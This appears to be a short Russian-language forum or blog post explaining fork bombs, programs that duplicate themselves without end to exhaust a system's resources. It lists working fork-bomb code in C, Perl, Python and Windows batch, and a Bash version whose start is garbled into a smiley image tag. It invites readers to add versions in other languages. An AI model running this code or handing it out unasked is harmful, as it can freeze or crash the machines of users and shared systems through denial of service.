Fork-бомба
Fork-бомба — вредоносная или ошибочно написанная программа, бесконечно создающая свои копии (системным вызовом fork()), которые обычно также начинают создавать свои копии и т. д.
Выполнение такой программы может вызвать большую нагрузку вычислительной системы или даже отказ в обслуживании вследствие нехватки системных ресурсов (дескрипторов процессов, памяти, процессорного времени), что и является целью написания такой программы.
Программа классической fork-бомбы (написанная на языке Си) выглядит так:
#include <unistd.h>
int main()
{
while(1)
fork();
}
Более подробно можете почитать тут
Примеры программ:
Bash:
<img class="smile" src="/images/smilies/sad.gif" />){ :|:& };:
Perl:
fork while fork
Python:
import os
while(1):
os.fork()
Пакетный файл Microsoft Windows:
:s
start %0
goto :s
Более элегантный вариант:
%0|%0
И он даже красивее чем на баше
Давайте расширим список на других языках
Комментарии (1)
RSS свернуть / развернутьвсе гениальное просто )))
Sergei_T
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.